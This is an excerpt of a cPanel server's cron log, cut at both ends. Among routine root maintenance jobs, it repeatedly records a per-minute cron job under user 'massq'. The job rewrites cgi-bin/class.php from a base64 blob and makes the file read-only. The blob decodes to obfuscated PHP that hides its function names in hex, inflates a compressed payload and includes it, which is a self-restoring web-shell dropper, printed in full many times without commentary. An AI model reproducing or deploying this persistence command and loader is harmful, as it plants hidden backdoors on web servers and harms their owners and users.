QYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:39:01 server CROND[3966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:39:01 server CROND[3967]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 19:40:01 server CROND[4020]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 19:40:01 server CROND[4022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:40:01 server CROND[4023]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 19:40:01 server CROND[4024]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 19:41:01 server CROND[4227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:42:01 server CROND[4276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:42:01 server CROND[4277]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 19:43:01 server CROND[4328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:44:01 server CROND[4368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:45:01 server CROND[4416]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 19:45:01 server CROND[4419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:45:01 server CROND[4418]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 19:46:01 server CROND[4522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:47:01 server CROND[4666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:48:01 server CROND[4713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:49:01 server CROND[4766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:50:01 server CROND[4819]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 19:50:01 server CROND[4822]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 19:50:01 server CROND[4823]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 19:50:01 server CROND[4821]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 19:50:01 server CROND[4824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:51:01 server CROND[4946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:52:01 server CROND[5094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 